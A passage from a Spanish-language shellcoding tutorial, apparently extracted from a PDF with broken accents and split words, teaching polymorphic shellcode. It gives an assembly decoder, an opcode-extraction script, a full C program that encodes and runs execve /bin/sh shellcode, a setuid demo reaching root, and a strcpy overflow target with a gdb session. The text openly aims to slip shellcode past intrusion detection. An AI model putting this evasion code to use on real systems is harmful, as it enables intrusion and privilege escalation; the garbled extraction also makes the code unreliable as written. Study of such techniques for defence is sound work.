hexadecimal 17. La diferencia con, por ejemplo, la instruccin mov eax, [ebx + 0x17] o es que en el registro eax se almacenar el contenido de la direccin de memoria a o calculada a partir del contenido del registro ebx ms el valor 17 en hexadecimal. a Gracias a esta pequea optimizacin se ahorra un byte. n o

7.2.

Shellcode polimrco o

Hoy en d los f irewalls, antivirus, sistemas de deteccin de intrusiones, etc hacen a o que la explotacin de vulnerabilidades sea una tarea bastante ardua. Sin embargo, o cuando se nos intenta obligar a pisar el freno, nosotros, los hackers, no hacemos ms a que pisar el acelerador. Esta tcnica responde a la necesidad de que los sistemas de deteccin de intrue o siones (IDS) no sean capaces de detectar que nuestro shellcode se va a ejecutar. La mayor de shellcodes siguen unos patrones bastante generalizados, as que los a IDS slo han de detectar dichos patrones para frustrar nuestra explotacin. Lo que o o haremos para saltarnos esta proteccin es codicar el shellcode y en tiempo de ejeo cucin nuestro exploit lo decodicar y ejecutar. o a a Existen algunos plugins22 para IDS que se encargan de detectar estos mtodos y e decodicar el shellcode, sin embargo, hay dos razones por las cuales estos IDS no son funcionales. La primera es que su consumo de CP U es muy elevado. La segunda es que siempre podremos ir un paso ms all que el IDS y codicar el shellcode a a de modo que el IDS no lo pueda decodicar. El l mite yace en el l mite de nuestra imaginacin. o Para ejemplicar este hack 23 de una manera simple, imaginaremos que nuestro exploit slo le sumar un nmero aleatorio constante a cada byte de nuestro o a u shellcode. Este tipo de cifrado es muy ant guo y es conocido como Cif rado del Csar. e En pseudocdigo nuestro cifrador ser semejante al mostrado en el Cdigo 25. o a o

1 2 3 4 5

num es entero num = numAleatorio () ; para ( x = 0 hasta lo ngitud Shellc ode ) shellcode [ x ] = shellcode [ x ] + num ; finparaUn plugin es una herramienta que se puede anexar a un programa para aumentar sus funcionalidades. 23 El trmino hack, al igual que hacker, no es fcil de denir puesto que se trata de una idea ms e a a que de un hecho concreto u objeto. Cuando en este texto se utilice la palabra hack se referir a toda a aquella modicacin de un objeto, programa o idea que adapte sus funcionalidades a un propsito o o espec co de un modo creativo o poco convencional.22

41

Cdigo 25. Pseudocdigo del cifrador o o Donde longitudShellcode es el nmero de bytes de nuestro shellcode, y shellcode u es un array con nuestro shellcode en hexadecimal. El codicador no tiene porqu estar implementado en ensamblador ya que ste e e ser ejecutado por el exploit y no necesita saber direcciones relativas al cdigo en a o memoria, sino que slo modicar el array que contiene el shellcode original. Sin o a embargo, el decodicador lo tendremos que implementar en ensamblador ya que ste e preceder a nuestro shellcode codicado y tendr que saber cual es su ubicacin en a a o memoria. Aunque parezca muy complicado a simple vista, la verdad es que es ms complicaa do entender la explicacin que el mismo cdigo. Para empezar implementaremos el o o decodicador en ensamblador tal y como se muestra en el Cdigo 26. o1 2 3 4 5 6 7 8 9 10 11 12 13 14

BITS 32 jmp short jmptrick decodificador : pop esi xor ecx , ecx mov cl , 0 bucle : sub byte [ esi + ecx - 1] , 0 dec cl jnz bucle jmp short codedShellcode jmpTrick call decodificador codedShellcode :

Cdigo 26. Decodicador en ensamblador o Por la estructura del Cdigo 26 ya se tendr que ver a simple vista que se utiliza el o a jmp/call trick. Despus de la etiqueta codedShellcode tendremos nuestro shellcode e codicado. As pues, gracias al jmp/call tendremos la direccin de memoria donde o se encuentra nuestro shellcode -de momento, codicado- en el registro esi (l nea cuatro). En la sexta l nea hemos de substituir el primer cero por la longitud del shellcode codicado. De la sptima l e nea a la dcima tenemos un bucle en el que se pasa por e todos los bytes del shellcode codicado y se les resta el nmero aleatorio utilizado u para codicar el shellcode. Dicho lo anterior, deber ser obvio que en la octava l a nea el segundo cero se debe substituir por el natural utilizado para codicar el shellcode. Lo que se realiza exactamente en la octava l nea es restar el segundo cero al contenido de la direccin de memoria esi + ecx 1. Si no se restara ese 1, al principio del bucle o 42

ir amos un byte ms all de nuestro shellcode. a a Imaginemos que casa es nuestro shellcode. En ecx guardamos la longitud del shellcode. Como se ve, si no restramos uno, en la primera vuelta del bucle resa tar amos el segundo cero al contenido de una direccin de memoria que no contendr o a el shellcode. Despus de la instruccin sub, se decrementa ecx y se compara si es igual a cero. Si es e o diferente a cero signica que aun no se ha decodicado nuestro shellcode. Si es cero se salta a la etiqueta codedShellcode. Se debe tener presente que este salto llevar a a la direccin de memoria donde antes se ten el shellcode codicado, donde apunta o a esi. Gracias a todo el proceso anterior, en esi se tendrl shellcode ya decodicado e y listo para ejecutar sin que sea detectado. Se acaba de escribir lo que se llama un shellcode polimrco. o Todo lo que se ha hecho hasta ahora es correcto, pero aun falta el cdigo que o junte el codicador, el decodicador y el shellcode y los haga funcionar con armonia. Para implementar este cdigo utilizar el execve shellcode visto en los cap o a tulos anteriores para que el cdigo quede ms claro. En este apartado, se ejecutar el o a a shellcode tal y como se ejecuta en un exploit real. El cdigo del shellcode ya no o se compilar con nasm sino que se utilizar un cdigo en C y se almacenar en un a a o a puntero de tipo char. Del cdigo fuente en ensamblador del shellcode se obtendrn los o a 24 opcodes . Este conjunto de opcodes se almacenarn en alguna posicin de memoria a o y se utilizar un pequeo hack para ejecutarlo. a n El script especicado en el Cdigo 2725 permite extraer los opcodes de un ejecuo table.

n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ cat genShell.sh #!/ bin / sh objdump -d . / $1 | grep [0 -9 a - f ]: | grep -v file | cut - f2 -d : | cut -f1 -6 -d | tr -s | tr \ t | sed s / $ // g | sed s / /\\ x / g | paste -d -s | sed s /^/"/ | sed s / $ /"/ g n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$ . / genShell.sh shellcode " \ x31 \ xc9 \ x31 \ xdb \ x8d \ x41 \ x17 \ x99 \ xcd \ x80 \ x53 \ x68 \ x6e \ x2f \" " x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x8d \ x41 \ x0b \ x89 \ xe3 \ xcd \ x80 " n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / OtrasCosas$

Cdigo 27. Script para obtener los opcodes de un shellcode oUn opcode es el cdigo mquina equivalente a una instruccin en ensamblador. Por ejemplo, el o a o opcode de la instruccin cdq es 99. o 25 El script utilizado para extraer los opcodes del ejecutable fu escrito por vlan7, un usuario de e la comunidad de W adalbertia.24

43

As pues, para obtener los opcodes del shellcode y del decodicador se deber uti a lizar el script mostrado en el Cdigo 27 y pasar como argumento el ejecutable geneo rado con el cdigo del execve shellcode y como cdigo fuente para el decodicador o o se utilizar el Cdigo 26. a o El cdigo fuente nal escrito en C es el mostrado en el Cdigo 40. Como se lleva o o haciendo con los ultimos cdigos, la explicacin del cdigo est especicada en el o o o a mismo cdigo fuente. o

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35

# include # include # include # include # include

< stdio .h > < string .h > < sys / time .h > < stdlib .h > < unistd .h >

// Esta funcion se encarga de generar un numero // aleatorio menor al parametro pasado . int getnumber ( int quo ) { int seed ; struct timeval tm ; gettimeofday (& tm , NULL ) ; seed = tm . tv_sec + tm . tv_usec ; srandom ( seed ) ; return ( random () % quo ) ; } // Esta funcion se utiliza para ejecutar los opcodes // especificados en la cadena que se envia como // parametro . Para ejecutar los opcodes , se declara // un puntero a una funcion . Acto seguido , se hace // que el puntero a la funcion apunte a la cadena // que almacena los opcodes . Una vez el puntero // apunta a la cadena , se ejecuta la funcion , con // lo que se ejecutan los opcodes del shellcode . void execute ( char * data ) { void (* func ) ( void ) ; func = ( void *) data ; func () ; } // Esta funcion sirve para mostrar por pantalla el shellcode , // el decodificador o la union de los dos . void print_code ( char * data , int n ) {

44

36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68

int i , l = 15; switch ( n ) { case 1: printf ( " \ n \ nchar code [] =\ n " ) ; break ; case 2: printf ( " \ n \ nchar decoder [] =\ n " ) ; break ; case 3: printf ( " \ n \ nchar shellcode [] =\ n " ) ; break ; default : break ; } for ( i = 0; i < strlen ( data ) ; ++ i ) { if ( l >= 15) { if ( i ) printf ( " \"\ n " ) ; printf ( " \ t \" " ) ; l = 0; } ++ l ; printf ( " \\ x %02 x " , (( unsigned char *) data ) [ i ]) ; } printf ( " \";\ n \ n \ n " ) ; } int main () { // Opcodes que identifican al shellcode char shellcode [] = " \ x31 \ xc0 \ x99 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 \ xe3 \ xb0 \ x0b \ xcd \ x80 " ; // Opcodes que identifican al decodificador char decoder [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 \ x00 \ x80 \ x6c \ x0e \ xff \ x00 \ xfe \ xc9 \ x75 \ xf7 \ xeb \ x05 \ xe8 \ xeb \ xff \ xff \ xff " ; int count ; // Se obtiene un numero aleatorio . int number = getnumber (200) ; int nullbyte = 0; int ldecoder ; // Se obtiene la longitud del shellcode . int lshellcode = strlen ( shellcode ) ;

69 70 71

72 73 74 75 76 77 78

45

79 80 81 82 83 84 85 86 87

char * result ; // Se muestra por pantalla el codigo del decodificador y // del shellcode sin codificar . print_code ( decoder , 2) ; print_code ( shellcode , 3) ;

88

89 90 91

92 93 94 95 96 97 98

// En la posicion de la cadena hexadecimal del decodificador donde // deberia ir la longitud del shellcode , se inserta la longitud // calculada con la funcion strlen () . decoder [6] += lshellcode ; // En la posicion de la cadena hexadecimal del decodificador donde // deberia ir el numero aleatorio , se inserta la dicho numero // calculado con la funcion getnumber () . decoder [11] += number ; ldecoder = strlen ( decoder ) ; // Este bucle se realiza para sumar el numero aleatorio a cada caracter // hexadecimal que identifica el shellcode . Al entrar , nullbyte = 0. do { if ( nullbyte == 1) { // Si se ha generado un byte nulo en el shellcode , // se genera un nuevo numero aleatorio , se modifica // dicho valor en el decodificador y se vuelve a // realizar el proceso de codificacion . number = getnumber (10) ; decoder [11] += number ; nullbyte = 0; } // Se recorre todo el shellcode y a cada byte de la cadena // shellcode , se le suma el numero aleatorio . for ( count = 0; count < lshellcode ; count ++) { shellcode [ count ] += number ; // Si despues de realizar dicha suma , hay algun byte // que es cero , se debe volver a realizar todo el // proceso if ( shellcode [ count ] == \0 ) { nullbyte = 1;

99

100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118

46

119 120 121

} } // El proceso de codificacion se llevara a cabo hasta que no haya // ningun byte nulo en el shellcode . } while ( nullbyte == 1) ; // Se reserva espacio para el decodificador y el shellcode . result = malloc ( lshellcode + ldecoder ) ; // En dicho espacio de memoria se almacena el decodificador // y el shellcode . strcpy ( result , decoder ) ; strcat ( result , shellcode ) ; // Se muestra por pantalla el numero aleatorio generado y // la cadena que identifica al decodificador y el shellcode // codificado . printf ( " Using value : %x to encode shellcode \ n " , number ) ; print_code ( result , 1) ; // Por ultimo , se ejecuta el decodificador y el shellcode . execute ( result ) ; // En este momento se deberia obtener una bonita shell ! }

122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139

Cdigo 28. Cdigo fuente del shellcode polimrco o o o El Cdigo 29 muestra como compilar y ejecutar el Cdigo 40. Debido a que se o o ha ejecutado un simple execve shellcode no tiene sentido ejecutar comandos como pwd para mostrar las diferencias entre los directorios antes y despus de ejecutar el e shellcode. Sin embargo, se aumentarn los privilegios del shellcode polimrco para a o demostrar como antes de ejecutar el shellcode se tienen unos privilegios menores que cuando el shellcode lanza la shell desde la cual se podr ejecutar cualquier comando. a

n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ gcc Po l y m o r p h i c C C o d e . c -o P o l y m o r p h ic C C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ execstack -s P o l y m o r p h ic C C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ sudo chown root P o l y m o r p h i c C C o d e [ sudo ] password for newlog : n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ sudo chmod + s P o l y m o r p h i cC C o d e n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ id uid =1000( newlog ) gid =1000( newlog ) grupos =4( adm ) ,20( dialout ) ,24( cdrom ) , 46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) n e wl o g @ B e l e r i a n d :~/ Documentos / Shellcoding / Codigos / Polymorphic / CCode$ ./ Pol y m o r p h i c C C o d e

47

char decoder [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 " ;

char shellcode [] = " \ x31 \ xc0 \ x99 \ x50 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 " " \ xe3 \ xb0 \ x0b \ xcd \ x80 " ;

Using value : 53 to encode shellcode

char code [] = " \ xeb \ x10 \ x5e \ x31 \ xc9 \ xb1 \ x14 \ x80 \ x6c \ x0e \ xff \ x53 \ xfe \ xc9 \ x75 " " \ xf7 \ xeb \ x05 \ xe8 \ xeb \ xff \ xff \ xff \ x84 \ x13 \ xec \ xa3 \ xbb \ xc1 \ x82 " " \ xc6 \ xbb \ xbb \ x82 \ x82 \ xb5 \ xbc \ xdc \ x36 \ x03 \ x5e \ x20 \ xd3 " ;

# id uid =1000( newlog ) gid =1000( newlog ) euid =0( root ) groups =4( adm ) ,20( dialout ) ,24( cdrom ) , 46( plugdev ) ,104( lpadmin ) ,115( admin ) ,120( sambashare ) ,1000( newlog ) # exit

Cdigo 29. Ejecucin del shellcode polimrco o o o Como se puede comprobar en el Cdigo 29 la parte inicial de la cadena code o es igual que la cadena decoder, sin embargo, la parte que continua es diferente a la cadena shellcode. Para comprobar que el codicador se ha aplicado correctamente, se puede coger el ultimo opcode de la cadena shellcode, sumarle 53 y se puede comprobar como el resultado es igual al ultimo opcode de la cadena code. Todo este proceso se ha de realizar en hexadecimal. 80h + 53h = d3h.

7.3.

Reutilizacin de las variables de un programa o

Este hack se debe utilizar cuando el espacio de memoria en el que se puede ubicar el shellcode es limitado y no se puede insertar el cdigo. o Ejecutar shellcodes utilizando esta tcnica es bastante complejo debido a dos razones. e La primera es que el programa a explotar ha de contener alguna variable que se pueda utilizar. La segunda razn es que el exploit resultante, y por consiguiente el shellcode, o slo funcionar para las versiones del programa compiladas con un mismo compilador. o a Esto signica que si se construye un exploit para un ejecutable compilado por un compilador x, este exploit no tendr porqu funcionar para el mismo ejecutable a e compilado por un compilador y. La base de este hack reside en conocer la posicin de memoria donde el programa o vulnerable almacena la variable que queremos utilizar. Llevar a cabo este hack es bastante ms sencillo cuando se trabaja con programas a de cdigo abierto26 , que no cuando se hace con los de cdigo cerrado. o o26

Un programa de cdigo abierto es aquel del que se puede disponer de su cdigo fuente. o o

48

7.3.1.

Programas de cdigo abierto o

Con los programas de cdigo abierto es mucho ms fcil descubrir si se pueden o a a utilizar sus variables para nuestros nes ya que se puede revisar su cdigo. Una vez o se encuentre algo que sea de utilidad se compilar el cdigo del programa y se utilia o 27 zar un debugger para descubrir donde se aloja la variable en memoria.Pongamos a por caso que el siguiente cdigo fuera el vulnerable. o1 2 3 4 5 6 7 8 9 10 11 12 13

# include < stdio .h > # include < string .h > void abuso () { char * command = " / bin / sh " ; printf ( " %s " , command ) ; } int main ( int argc , char ** argv ) { char buf [256]; strcpy ( buf , argv [1]) ; abuso () ; }

Cdigo 30. Cdigo vulnerable o o Si un exploit utilizara el execve shellcode para ejecutar un intrprete de comane dos, es obvio que sabiendo donde est ubicada en memoria la variable command el a shellcode ser ms pequeo. As pues, suponiendo que la variable est ubicada en a a n a la direccin de memoria direcciondememoria, un shellcode funcional podr ser el o a siguiente:1 2 3 4 5 6 7 8 9 10 11 12

BITS 32 xor eax , eax cdq mov byte al , 11 push edx push long dir ec ci on de me mo ri a mov ebx , esp push edx mov edx , esp push ebx mov ecx , esp int 0 x8027

Un debugger es una herramienta que permite ejecutar un programa de manera controlada.

49

Cdigo 31. Execve shellcode terico o o La correcta ejecucin de este shellcode no se puede demostrar sin tener una o base m nima sobre la explotacin de buf f ers. Este shellcode no se podr ejecuo a tar sin haber explotado un programa vulnerable, ya que la direccin de memoria o direcciondememoria pertenece al programa vulnerable y ningn otro programa pueu de acceder a ella. Cuando se explota un programa vulnerable, es este mismo programa el que acaba ejecutando las instrucciones del shellcode y, debido a esto, el programa podr accea der a la posicin de memoria donde se ha ubicado la cadena y ejecutar el shellcode. o

Para descubrir cual es la direccin de memoria donde se almacena el contenido o de la variable command se puede proceder tal que as :n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ gcc -g vuln.c -o vuln n e w l o g @ B e l e r i a nd :~/ Documentos / Shellcoding / Codigos / Vulnerable$ gdb -q vuln Leyendo s m b o l o s desde / home / newlog / Documentos / Shellcoding / Codigos / Vulnerable / vuln...hecho. ( gdb ) b abuso Punto de i n t e r r u p c i n 1 at 0 x804844a : file vuln.c , line 5 . ( gdb ) run AAA Starting program : / home / newlog / Documentos / Shellcoding / Codigos / Vulnerable / vuln AAA Breakpoint 1 , abuso () at vuln.c :5 5 char * command = " / bin / sh " ; ( gdb ) n 6 printf ( " %s " , command ) ; ( gdb ) x /2 x command 0 x8048580 : 0 x6e69622f 0 x0068732f ( gdb ) quit Una s e s i n de d e p u r a c i n e s t activa. Inferior 1 [ process 2643] will be killed. S a l i r de cualquier modo? ( y o n ) y

Cdigo 32. Anlisis con gdb o a Primero de todo se compila el cdigo fuente con el f lag -g para que la depuracin o o del ejecutable con el depurador gdb sea ms simple. Acto seguido se ejecuta el depua rador gdb y se establece un punto de ruptura al principio de la funcin abuso. Cuando o se ejecute el programa con la instruccin run con el parmetro AAA